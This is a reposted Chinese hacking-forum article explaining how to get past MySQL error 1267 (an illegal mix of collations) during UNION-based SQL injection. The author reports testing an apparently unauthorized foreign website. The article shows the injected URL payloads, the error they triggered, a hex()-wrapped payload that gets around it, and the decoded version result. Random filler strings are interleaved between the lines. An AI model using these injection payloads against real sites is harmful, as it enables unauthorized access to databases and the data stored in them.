中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
. U, A3 i7 G, j# D3 D
文章性质:原创
8 ~/ l2 n7 Y) L6 x
发布日期:2005-10-18
# U; Z0 j# R3 V: J8 C7 Y# `
测试个国外的站时:
4 v4 ^3 j9 j; I5 |
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
# {3 S. i, |0 I6 Y% e
返回错误:
: D! Q p7 B7 d! ^
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
9 F6 m. j. [4 l" @1 Z
MySQL Error No. 126
; j' A" Z, \; T& P% q& h
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
; k( L1 o# Q% `* d& H" h: U( F
解决办法:转为其他编码如hex。
; ~6 E) K3 h, }' u
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
7 D0 m- W' s W% { w2 a
成功得到hex(version())的值为:
2 g: \6 ^2 J/ P& J* G- u1 R- k$ L: M
342E312E332D62657461
9 g2 o2 [9 ]* p
回Mysql查询下得到:
, q' I2 d# V5 T, T
mysql> select 0x342E312E332D62657461;
9 C. `- f! K+ T3 v: |7 b
+------------------------+
& Z/ G* c9 y6 V. b5 \
| 0x342E312E332D62657461 |
* P, Q; E' Y) A1 U( Y
+------------------------+
1 y+ b5 S1 I N7 [# U, _7 D6 Q
| 4.1.3-beta |
/ G9 m8 p, k7 c# w' x
+------------------------+
) v' a: B" \. d& n; F( R5 o W; v
1 row in set (0.00 sec)
( W8 P' [8 O1 G4 T& K
6 B0 e0 E+ {+ G. S
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2